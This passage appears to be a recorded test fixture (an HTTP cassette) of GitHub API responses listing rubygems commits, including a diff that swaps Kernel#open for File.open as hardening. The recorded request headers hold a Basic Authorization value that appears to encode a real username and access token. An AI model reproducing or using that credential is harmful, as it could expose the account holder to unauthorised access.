conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2876d4d5b971fb939422fa272c36380d2a220b32","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"},{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf"}]},{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:27:37Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:30:35Z"},"message":"[Bundler] Update to 1.15.2","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZcMybAAoJEAEZW7MV3ahWoCYP/2IjfLt0RchH2hmAY7h7r5Vy\nfYUXeoi7x5iL38GvCCkxhZSN7hd0TK8wSJM7sTUL8cUQLdMcQWMG5PQgv/cST12l\nxnSFwb999EwuiJXN+SeoEYAT21uacDto8oEFWg7+RyqSs2QkrtN4auMz4NfYwNiU\ng2ydsoIuGnS21RDJI9VBwq4mbzSwp/octF4SS6A/7pEpJq0TZHoeBaliO/r8M2KM\nRHPRkF7+c7+5bhRL8kUJ6RQRdEOzBQ8HrsH9BTUFMdoJlNWCR7tMS2Ua99Nb+W2j\nA6IJQHnqFIBavp1ZoSwyzAuutfqhmIrgGqxtw0QoR5iPK3nQKa4euZK7dDQvmBip\ncRIp84VpmuZQtqU2ilL0kB1ejDNIoOYnBRAfOgQlzz/cq9CSVD+XFhFOtQzS8AId\nrQfBMsaPmErK4jRiC5G/uTj8szyGpaHAvck9CTHjK8zaC0p9T/7ArITjfmsJ67FR\nIeisykoJnCW4f9V5XntUhJOJLCmq9frzT+7fhWPqg3FF/eSkZyNHINiDeYvA/pom\n9XFSFYoz9MN7VUlVirialerRXaN2ILjXIQjoexsO4MAM8WmbPxjAek8Zfk/QjEXm\nERxbx3TDI1p8oZdi5kH8NNzqXCNqNMnW2k56iJ0bj+4npW9oz7p4l6Nu4A4wQ39E\nk9IY+MxQYJlSjNj+3cUJ\n=qQbe\n-----END PGP SIGNATURE-----","payload":"tree be5415e88a37fc2d79fb787629d4654b176a2366\nparent 3841d147b25531a68f3eb2fa943a5ad736ec98d8\nauthor Samuel Giddins 1500564457 -0500\ncommitter Samuel Giddins 1500564635 -0500\n\n[Bundler] Update to 1.15.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"}]},{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"message":"fix some small issues in installer documentation","tree":{"sha":"786a83443746bf6eb6eef50a5da330eca346cc4f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/786a83443746bf6eb6eef50a5da330eca346cc4f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}]},{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:01:35Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:33:25Z"},"message":"Add documentation section to README and fix a few documentation related\nissues.\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues","tree":{"sha":"97141c773bc61174c41a4270bb7658f323a701ba","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/97141c773bc61174c41a4270bb7658f323a701ba"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:34 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a5e9acadf7206873fc681a3eed61c64252353b7c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4621' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1c7a0c1474740d032275521635d6331d" Last-Modified: - Fri, 05 Jan 2018 06:59:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.067466' X-Github-Request-Id: - C420:4D95:F47863:1C82C21:5A50E456 body: encoding: ASCII-8BIT string: '{"sha":"a5e9acadf7206873fc681a3eed61c64252353b7c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:59:04Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:59:04Z"},"message":"Auto merge of #2142 - rubygems:use-file-open, r=hsbt\n\nUse `File.open` instead of `open`.\n\nThis change is not vulnerability fix. @hsbt and @shugo did audit this usage when CVE-2017-17405 was disclosed.\n\nBecause ruby core team will warn to use `Kernel#open` in standard libraries.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"04da0de651c0429ed04e6d627778a4d76e449c30","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/04da0de651c0429ed04e6d627778a4d76e449c30"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a5e9acadf7206873fc681a3eed61c64252353b7c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a5e9acadf7206873fc681a3eed61c64252353b7c","html_url":"https://github.com/rubygems/rubygems/commit/a5e9acadf7206873fc681a3eed61c64252353b7c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a5e9acadf7206873fc681a3eed61c64252353b7c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","html_url":"https://github.com/rubygems/rubygems/commit/ba4bb1934e00313d61db2c46ac705fd4938d6eb8"},{"sha":"3effdf755a542034892563d46ffbda4048c76bb5","url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5","html_url":"https://github.com/rubygems/rubygems/commit/3effdf755a542034892563d46ffbda4048c76bb5"}],"stats":{"total":270,"additions":136,"deletions":134},"files":[{"sha":"95258beb58d3c499b8b109e3024ea8140eb7b35d","filename":"lib/rubygems.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -871,19 +871,19 @@ def self.refresh\n # Safely read a file in binary mode on all platforms.\n \n def self.read_binary(path)\n- open path, ''rb+'' do |f|\n+ File.open path, ''rb+'' do |f|\n f.flock(File::LOCK_EX)\n f.read\n end\n rescue *READ_BINARY_ERRORS\n- open path, ''rb'' do |f|\n+ File.open path, ''rb'' do |f|\n f.read\n end\n rescue Errno::ENOLCK # NFS\n if Thread.main != Thread.current\n raise\n else\n- open path, ''rb'' do |f|\n+ File.open path, ''rb'' do |f|\n f.read\n end\n end"},{"sha":"b873f20d280da2d33c3b9a867b459616cdf04004","filename":"lib/rubygems/commands/unpack_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/commands/unpack_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/commands/unpack_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/unpack_command.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -94,7 +94,7 @@ def execute\n \n spec_file = File.basename spec.spec_file\n \n- open spec_file, ''w'' do |io|\n+ File.open spec_file, ''w'' do |io|\n io.write metadata\n end\n else\n@@ -176,7 +176,7 @@ def get_metadata path, security_policy = nil\n \n metadata = nil\n \n- open path, Gem.binary_mode do |io|\n+ File.open path, Gem.binary_mode do |io|\n tar = Gem::Package::TarReader.new io\n tar.each_entry do |entry|\n case entry.full_name"},{"sha":"529fc99406b9dd7183c863fc431df7ece9ce7ee8","filename":"lib/rubygems/config_file.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/config_file.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/config_file.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/config_file.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -458,7 +458,7 @@ def to_yaml # :nodoc:\n \n # Writes out this config file, replacing its source.\n def write\n- open config_file_name, ''w'' do |io|\n+ File.open config_file_name, ''w'' do |io|\n io.write to_yaml\n end\n end"},{"sha":"eb9db199d56fcf20ab7fd71934fc3fd7b894ad8b","filename":"lib/rubygems/ext/builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/ext/builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/ext/builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/ext/builder.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -212,7 +212,7 @@ def write_gem_make_out output # :nodoc:\n \n FileUtils.mkdir_p @spec.extension_dir\n \n- open destination, ''wb'' do |io| io.puts output end\n+ File.open destination, ''wb'' do |io| io.puts output end\n \n destination\n end"},{"sha":"cdc33e3e72b4e21c8b1229be01f1f872c449cf5f","filename":"lib/rubygems/indexer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/indexer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/indexer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/indexer.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -123,7 +123,7 @@ def build_marshal_gemspecs specs\n marshal_name = File.join @quick_marshal_dir, spec_file_name\n \n marshal_zipped = Gem.deflate Marshal.dump(spec)\n- open marshal_name, ''wb'' do |io| io.write marshal_zipped end\n+ File.open marshal_name, ''wb'' do |io| io.write marshal_zipped end\n \n files << marshal_name\n \n@@ -261,7 +261,7 @@ def compress(filename, extension)\n \n zipped = Gem.deflate data\n \n- open \"#{filename}.#{extension}\", ''wb'' do |io|\n+ File.open \"#{filename}.#{extension}\", ''wb'' do |io|\n io.write zipped\n end\n end\n@@ -427,7 +427,7 @@ def update_specs_index(index, source, dest)\n \n specs_index = compact_specs specs_index.uniq.sort\n \n- open dest, ''wb'' do |io|\n+ File.open dest, ''wb'' do |io|\n Marshal.dump specs_index, io\n end\n end"},{"sha":"9bda2d655128d178b0830238fed6d184e9fbd085","filename":"lib/rubygems/installer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -206,7 +206,7 @@ def check_executable_overwrite filename # :nodoc:\n ruby_executable = false\n existing = nil\n \n- open generated_bin, ''rb'' do |io|\n+ File.open generated_bin, ''rb'' do |io|\n next unless io.gets =~ /^#!/ # shebang\n io.gets # blankline\n \n@@ -427,7 +427,7 @@ def default_spec_file\n # specifications directory.\n \n def write_spec\n- open spec_file, ''w'' do |file|\n+ File.open spec_file, ''w'' do |file|\n spec.installed_by_version = Gem.rubygems_version\n \n file.puts spec.to_ruby_for_cache\n@@ -863,7 +863,7 @@ def write_build_info_file\n \n build_info_file = File.join build_info_dir, \"#{spec.full_name}.info\"\n \n- open build_info_file, ''w'' do |io|\n+ File.open build_info_file, ''w'' do |io|\n @build_args.each do |arg|\n io.puts arg\n end"},{"sha":"3ac5662b68207175bd4b2573aaf8a8583e8f682e","filename":"lib/rubygems/package.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -219,7 +219,7 @@ def add_files tar # :nodoc:\n next unless stat.file?\n \n tar.add_file_simple file, stat.mode, stat.size do |dst_io|\n- open file, ''rb'' do |src_io|\n+ File.open file, ''rb'' do |src_io|\n dst_io.write src_io.read 16384 until src_io.eof?\n end\n end\n@@ -380,7 +380,7 @@ def extract_tar_gz io, destination_dir, pattern = \"*\" # :nodoc:\n \n FileUtils.mkdir_p mkdir, mkdir_options\n \n- open destination, ''wb'' do |out|\n+ File.open destination, ''wb'' do |out|\n out.write entry.read\n FileUtils.chmod entry.header.mode, destination\n end if entry.file?"},{"sha":"ecc3a686774f8af61204adf3d1d9fd7497cf1007","filename":"lib/rubygems/package/file_source.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package/file_source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package/file_source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/file_source.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -23,11 +23,11 @@ def present?\n end\n \n def with_write_io &block\n- open path, ''wb'', &block\n+ File.open path, ''wb'', &block\n end\n \n def with_read_io &block\n- open path, ''rb'', &block\n+ File.open path, ''rb'', &block\n end\n \n end"},{"sha":"322d682ca8905658eaaae3adce23ab32ad37e3f7","filename":"lib/rubygems/package/old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package/old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/package/old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/old.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -80,7 +80,7 @@ def extract_files destination_dir\n \n FileUtils.mkdir_p File.dirname destination\n \n- open destination, ''wb'', entry[''mode''] do |out|\n+ File.open destination, ''wb'', entry[''mode''] do |out|\n out.write file_data\n end\n "},{"sha":"76ad17d4862b7b6367a2869c09cc3e8d0792157f","filename":"lib/rubygems/request_set/lockfile.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/request_set/lockfile.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/request_set/lockfile.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/request_set/lockfile.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -223,7 +223,7 @@ def to_s\n def write\n content = to_s\n \n- open \"#{@gem_deps_file}.lock\", ''w'' do |io|\n+ File.open \"#{@gem_deps_file}.lock\", ''w'' do |io|\n io.write content\n end\n end"},{"sha":"236577c5a3040783244cb9394938868e185f4760","filename":"lib/rubygems/security.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/security.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/lib/rubygems/security.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/security.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -578,7 +578,7 @@ def self.trusted_certificates &block\n def self.write pemmable, path, permissions = 0600, passphrase = nil, cipher = KEY_CIPHER\n path = File.expand_path path\n \n- open path, ''wb'', permissions do |io|\n+ File.open path, ''wb'', permissions do |io|\n if passphrase and cipher\n io.write pemmable.to_pem cipher, passphrase\n 